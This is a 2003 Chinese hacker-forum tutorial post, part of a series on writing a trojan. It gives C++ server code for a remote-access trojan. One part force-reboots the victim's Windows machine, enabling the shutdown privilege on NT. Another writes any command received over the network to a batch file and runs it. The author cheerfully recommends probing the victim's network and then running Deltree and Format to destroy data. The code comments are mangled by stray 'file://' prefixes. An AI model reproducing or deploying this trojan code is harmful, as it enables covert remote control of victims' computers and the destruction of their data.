Board logo

标题: 木马是如何编写的(二)(3) [打印本页]

作者: 绝对倾情    时间: 2003-9-15 02:08     标题: 木马是如何编写的(二)(3)

然后就是使目标机重新启动。但这里要区分WinNt和Win9x--NT非常注重系统每个进程的
权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的
权限:
{
else if(temp=="reboot")
{
file://如/果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得/到操作系统的版本号
if (dwVersion < 0x80000000)
{
file://操/作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定/义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);
file://OpenProcessToken/()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess/()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue/()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋/给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges/()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
file://强/行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强/行退出Win9x并重启
}
}
  如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如/果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创/建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返/回“Fail By Open File”的信息
goto END;
file://跳/到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写/入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写/入换行符
fclose(fp);
file://关/闭Win369.bat
system(TempFile);
file://执/行Win369.bat
Socket->SendText("Success");
file://返/回“Success”信息
}
}
  你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判
断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
  到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因
意外而崩溃。






欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2